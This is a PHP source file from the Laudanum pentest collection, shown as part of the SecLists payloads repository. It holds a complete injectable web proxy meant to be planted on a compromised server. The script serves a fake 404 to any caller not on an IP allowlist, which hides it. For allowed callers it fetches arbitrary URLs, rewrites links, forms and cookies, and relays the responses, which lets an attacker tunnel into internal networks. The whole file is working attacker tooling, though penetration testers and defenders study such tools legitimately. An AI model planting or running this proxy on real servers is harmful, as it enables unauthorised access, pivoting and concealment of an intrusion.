PageRenderTime 28ms CodeModel.GetById 24ms RepoModel.GetById 0ms app.codeStats 1ms

/Payloads/laudanum-0.8/php/proxy.php

https://gitlab.com/BoTranVan/SecLists
PHP | 351 lines | 218 code | 45 blank | 88 comment | 47 complexity | 2c451c403dfe14994593d0998fa51269 MD5 | raw file
  1. <?php
  2. ini_set('session.use_cookies', '0');
  3. /* *****************************************************************************
  4. ***
  5. *** Laudanum Project
  6. *** A Collection of Injectable Files used during a Penetration Test
  7. ***
  8. *** More information is available at:
  9. *** http://laudanum.secureideas.net
  10. *** laudanum@secureideas.net
  11. ***
  12. *** Project Leads:
  13. *** Kevin Johnson <kjohnson@secureideas.net
  14. *** Tim Medin <tim@securitywhole.com>
  15. ***
  16. *** Copyright 2012 by Kevin Johnson and the Laudanum Team
  17. ***
  18. ********************************************************************************
  19. ***
  20. *** This file allows browsing of the file system.
  21. *** Written by Tim Medin <tim@securitywhole.com>
  22. ***
  23. ********************************************************************************
  24. *** This program is free software; you can redistribute it and/or
  25. *** modify it under the terms of the GNU General Public License
  26. *** as published by the Free Software Foundation; either version 2
  27. *** of the License, or (at your option) any later version.
  28. ***
  29. *** This program is distributed in the hope that it will be useful,
  30. *** but WITHOUT ANY WARRANTY; without even the implied warranty of
  31. *** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  32. *** GNU General Public License for more details.
  33. ***
  34. *** You can get a copy of the GNU General Public License from this
  35. *** address: http://www.gnu.org/copyleft/gpl.html#SEC1
  36. *** You can also write to the Free Software Foundation, Inc., 59 Temple
  37. *** Place - Suite 330, Boston, MA 02111-1307, USA.
  38. ***
  39. ***************************************************************************** */
  40. // TODO: If the remote site uses a sessionid it collides with the php sessionid cookie from this page
  41. // figure out how to reuse sessionid from the remote site
  42. // ***************** Config entries below ***********************
  43. // IPs are enterable as individual addresses TODO: add CIDR support
  44. $allowedIPs = array("19.168.2.16", "192.168.1.100","127.0.0.1","192.168.10.129","192.168.10.1");
  45. # *********** No editable content below this line **************
  46. $allowed = 0;
  47. foreach ($allowedIPs as $IP) {
  48. if ($_SERVER["REMOTE_ADDR"] == $IP)
  49. $allowed = 1;
  50. }
  51. if ($allowed == 0) {
  52. header("HTTP/1.0 404 Not Found");
  53. die();
  54. }
  55. /* This error handler will turn all notices, warnings, and errors into fatal
  56. * errors, unless they have been suppressed with the @-operator. */
  57. function error_handler($errno, $errstr, $errfile, $errline, $errcontext) {
  58. /* The @-opertor (used with chdir() below) temporarely makes
  59. * error_reporting() return zero, and we don't want to die in that case.
  60. * We do note the error in the output, though. */
  61. if (error_reporting() == 0) {
  62. $_SESSION['output'] .= $errstr . "\n";
  63. } else {
  64. die('<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  65. "http://www.w3.org/TR/html4/strict.dtd">
  66. <html>
  67. <head>
  68. <title>Laudanum PHP Proxy</title>
  69. </head>
  70. <body>
  71. <h1>Fatal Error!</h1>
  72. <p><b>' . $errstr . '</b></p>
  73. <p>in <b>' . $errfile . '</b>, line <b>' . $errline . '</b>.</p>
  74. <hr>
  75. <address>
  76. Copyright &copy; 2012, <a href="mailto:laudanum@secureideas.net">Kevin Johnson</a> and the Laudanum team.<br/>
  77. Written by Tim Medin.<br/>
  78. Get the latest version at <a href="http://laudanum.secureideas.net">laudanum.secureideas.net</a>.
  79. </address>
  80. </body>
  81. </html>');
  82. }
  83. }
  84. set_error_handler('error_handler');
  85. function geturlarray($u) {
  86. // creates the url array, addes a scheme if it is missing and retries parsing
  87. $o = parse_url($u);
  88. if (!isset($o["scheme"])) { $o = parse_url("http://" . $u); }
  89. if (!isset($o["path"])) { $o["path"] = "/"; }
  90. return $o;
  91. }
  92. function buildurl ($u) {
  93. // build the url from the url array
  94. // this is used because the built in function isn't
  95. // avilable in all installs of php
  96. if (!isset($u["host"])) { return null; }
  97. $s = isset($u["scheme"]) ? $u["scheme"] : "http";
  98. $s .= "://" . $u["host"];
  99. $s .= isset($u["port"]) ? ":" . $u["port"] : "";
  100. $s .= isset($u["path"]) ? $u["path"] : "/";
  101. $s .= isset($u["query"]) ? "?" . $u["query"] : "";
  102. $s .= isset($u["fragment"]) ? "#" . $u["fragment"] : "";
  103. return $s;
  104. }
  105. function buildurlpath ($u) {
  106. //gets the full url and attempts to remove the file at the end of the url
  107. // e.g. http://blah.com/dir/file.ext => http://blah.com/dir/
  108. if (!isset($u["host"])) { return null; }
  109. $s = isset($u["scheme"])? $u["scheme"] : "http";
  110. $s .= "://" . $u["host"];
  111. $s .= isset($u["port"]) ? ":" . $u["port"] : "";
  112. $path = isset($u["path"]) ? $u["path"] : "/";
  113. // is the last portion of the path a file or a dir?
  114. // assume if there is a . it is a file
  115. // if it ends in a / then it is a dir
  116. // if neither, than assume dir
  117. $dirs = explode("/", $path);
  118. $last = $dirs[count($dirs) - 1];
  119. if (preg_match('/\./', $last) || !preg_match('/\/$/', $last)) {
  120. // its a file, remove the last chunk
  121. $path = substr($path, 0, -1 * strlen($last));
  122. }
  123. $s .= $path;
  124. return $s;
  125. }
  126. function getfilename ($u) {
  127. // returns the file name
  128. // e.g. http://blah.com/dir/file.ext returns file.ext
  129. // technically, it is the last portion of the url, so there is a potential
  130. // for a problem if a http://blah.com/dir returns a file
  131. $s = explode("/", $u["path"]);
  132. return $s[count($s) - 1];
  133. }
  134. function getcontenttype ($headers) {
  135. // gets the content type
  136. foreach($headers as $h) {
  137. if (preg_match_all("/^Content-Type: (.*)$/", $h, $out)) {
  138. return $out[1][0];
  139. }
  140. }
  141. }
  142. function getcontentencoding ($headers) {
  143. foreach ($headers as $h) {
  144. if (preg_match_all("/^Content-Encoding: (.*)$/", $h, $out)) {
  145. return $out[1][0];
  146. }
  147. }
  148. }
  149. function removeheader($header, $headers) {
  150. foreach (array_keys($headers) as $key) {
  151. if (preg_match_all("/^" . $header . ": (.*)$/", $headers[$key], $out)) {
  152. unset($headers[$key]);
  153. return $headers;
  154. }
  155. }
  156. }
  157. function rewritecookies($headers) {
  158. // removes the path and domain from cookies
  159. for ($i = 0; $i < count($headers); $i++) {
  160. if (preg_match_all("/^Set-Cookie:/", $headers[$i], $out)) {
  161. $headers[$i] = preg_replace("/domain=[^[:space:]]+/", "", $headers[$i]);
  162. $headers[$i] = preg_replace("/path=[^[:space:]]+/", "", $headers[$i]);
  163. }
  164. }
  165. return $headers;
  166. }
  167. function getsessionid($headers) {
  168. for ($i = 0; $i < count($headers); $i++) {
  169. if (preg_match_all("/^Set-Cookie: SessionID=([a-zA-Z0-9]+);/", $headers[$i], $out))
  170. return $out[1][0];
  171. }
  172. return "0";
  173. }
  174. function compatible_gzinflate($gzData) {
  175. if ( substr($gzData, 0, 3) == "\x1f\x8b\x08" ) {
  176. $i = 10;
  177. $flg = ord( substr($gzData, 3, 1) );
  178. if ( $flg > 0 ) {
  179. if ( $flg & 4 ) {
  180. list($xlen) = unpack('v', substr($gzData, $i, 2) );
  181. $i = $i + 2 + $xlen;
  182. }
  183. if ( $flg & 8 )
  184. $i = strpos($gzData, "\0", $i) + 1;
  185. if ( $flg & 16 )
  186. $i = strpos($gzData, "\0", $i) + 1;
  187. if ( $flg & 2 )
  188. $i = $i + 2;
  189. }
  190. return @gzinflate( substr($gzData, $i, -8) );
  191. } else {
  192. return false;
  193. }
  194. return false;
  195. }
  196. function rewrite ($d, $u) {
  197. $r = $d;
  198. //rewrite images and links - absolute reference
  199. $r = preg_replace("/((src|href).?=.?['\"]?)(\/[^'\"[:space:]]+['\"]?)/", "\\1" . $_SERVER["PHP_SELF"] . "?laudurl=" . $u["scheme"] . "://" . $u["host"] . "\\3", $r);
  200. //rewrite images and links - hard linked
  201. $r = preg_replace("/((src|href).?=.?['\"])(http[^'\"]+['\"])/", "\\1" . $_SERVER["PHP_SELF"] . "?laudurl=" . "\\3", $r);
  202. //rewrite images and links - relative reference
  203. $r = preg_replace("/((src|href).?=.?['\"])([^\/][^'\"[:space:]]+['\"]?)/", "\\1" . $_SERVER["PHP_SELF"] . "?laudurl=" . buildurlpath($u) . "\\3", $r);
  204. //rewrite form - absolute reference
  205. $r = preg_replace("/(<form(.+?)action.?=.?['\"])(\/[^'\"]+)(['\"])([^\>]*?)>/", "\\1" . $_SERVER["PHP_SELF"] . "\\4><input type=\"hidden\" name=\"laudurl\" value=\"" . $u["scheme"] . "://" . $u["host"] . "\\3\">", $r);
  206. //rewrite form - hard linked
  207. $r = preg_replace("/(<form(.+?)action.?=.?['\"])(http[^'\"]+)(['\"])([^\>]*?)>/", "\\1" . $_SERVER["PHP_SELF"] . "\\4><input type=\"hidden\" name=\"laudurl\" value=\"" . "\\3\">", $r);
  208. //rewrite form - relative reference
  209. $r = preg_replace("/(<form(.+?)action.?=.?['\"])([^\/][^'\"]+)(['\"])([^\>]*?)>/", "\\1" . $_SERVER["PHP_SELF"] . "\\4><input type=\"hidden\" name=\"laudurl\" value=\"" . buildurlpath($u) . "\\3\">", $r);
  210. return $r;
  211. }
  212. /* Initialize some variables we need again and again. */
  213. $url = isset($_GET["laudurl"]) ? $_GET["laudurl"] : "";
  214. if ($url == "") {
  215. $url = isset($_POST["laudurl"]) ? $_POST["laudurl"] : "";
  216. }
  217. if ($url == "") {
  218. ?>
  219. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  220. "http://www.w3.org/TR/html4/strict.dtd">
  221. <html>
  222. <head>
  223. <title>Laudanum PHP Proxy</title>
  224. <link rel="stylesheet" href="style.css" type="text/css">
  225. <script type="text/javascript">
  226. function init() {
  227. document.proxy.url.focus();
  228. }
  229. </script>
  230. </head>
  231. <body onload="init()">
  232. <h1>Laudanum PHP Proxy</h1>
  233. <form method="GET" name="proxy">
  234. <input type="text" name="laudurl" size="70">
  235. </form>
  236. <hr>
  237. <address>
  238. Copyright &copy; 2012, <a href="mailto:laudanum@secureideas.net">Kevin Johnson</a> and the Laudanum team.<br/>
  239. Written by Tim Medin.<br/>
  240. Get the latest version at <a href="http://laudanum.secureideas.net">laudanum.secureideas.net</a>.
  241. </address>
  242. </body>
  243. </html>
  244. <?php
  245. } else {
  246. $url_c = geturlarray($url);
  247. $params = array_merge($_GET, $_POST);
  248. //don't pass throught the parameter we are using
  249. unset($params["laudurl"]);
  250. //create the query or post parameters
  251. $query = http_build_query($params);
  252. if ($query != "") {
  253. $url_c["query"] = $query;
  254. }
  255. //get the files
  256. $fp = fopen(buildurl($url_c), "rb");
  257. // use the headers, except the response code which is popped off the array
  258. $headers = $http_response_header;
  259. // pop
  260. array_shift($headers);
  261. // fix cookies
  262. $headers = rewritecookies($headers);
  263. $ctype = getcontenttype($headers);
  264. $cencoding = getcontentencoding($headers);
  265. // we will remove gzip encoding later, but we need to remove the header now
  266. // before it is added to the response.
  267. if ($cencoding == "gzip")
  268. $headers = removeheader("Content-Encoding", $headers);
  269. // set headers for response to client
  270. if (preg_match("/text|image/", $ctype)) {
  271. header_remove();
  272. // the number of headers can change due to replacement
  273. $i = 0;
  274. while ($i < count($headers)) {
  275. if (strpos($headers[$i], "Set-Cookie:") == false)
  276. // replace headers
  277. header($headers[$i], true);
  278. else
  279. // if it is the first cookie, replace all the others. Otherwise add
  280. header($headers[$i], false);
  281. $i++;
  282. }
  283. } else {
  284. header("Content-Disposition: attachment; filename=" . getfilename($url_c));
  285. }
  286. // get data
  287. if (preg_match("/text/",$ctype)) { //text
  288. //it is a text format: html, css, js
  289. $data = "";
  290. while (!feof($fp)) {
  291. $data .= fgets($fp, 4096);
  292. }
  293. // uncompress it so it can be rewritten
  294. if ($cencoding == "gzip")
  295. $data = compatible_gzinflate($data);
  296. // rewrite all the links and such
  297. echo rewrite($data, $url_c);
  298. } else {
  299. // binary format or something similar, let it go through
  300. fpassthru($fp);
  301. fclose($fp);
  302. }
  303. }
  304. ?>